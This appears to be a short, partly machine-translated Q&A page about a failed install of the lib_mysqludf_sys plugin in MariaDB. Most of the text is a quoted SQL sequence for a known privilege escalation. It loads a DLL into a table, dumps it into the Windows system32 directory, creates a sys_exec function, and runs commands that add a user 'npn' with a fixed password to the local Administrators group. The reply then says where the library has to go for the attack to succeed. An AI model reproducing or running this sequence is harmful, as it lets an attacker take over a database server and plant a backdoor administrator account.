[英]I am trying to install udf plugin in mysql but getting error
我正在嘗試在MySQL中安裝udf插件,但此查詢出現錯誤
MariaDB [mysql]> CREATE FUNCTION sys_exec
RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0, )
(摘自評論:)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
UDF不會從C:\\ windows \\ system32加載,而只能從plugin目錄加載。 使用“ SELECT @@ plugin_dir”檢查安裝位置。
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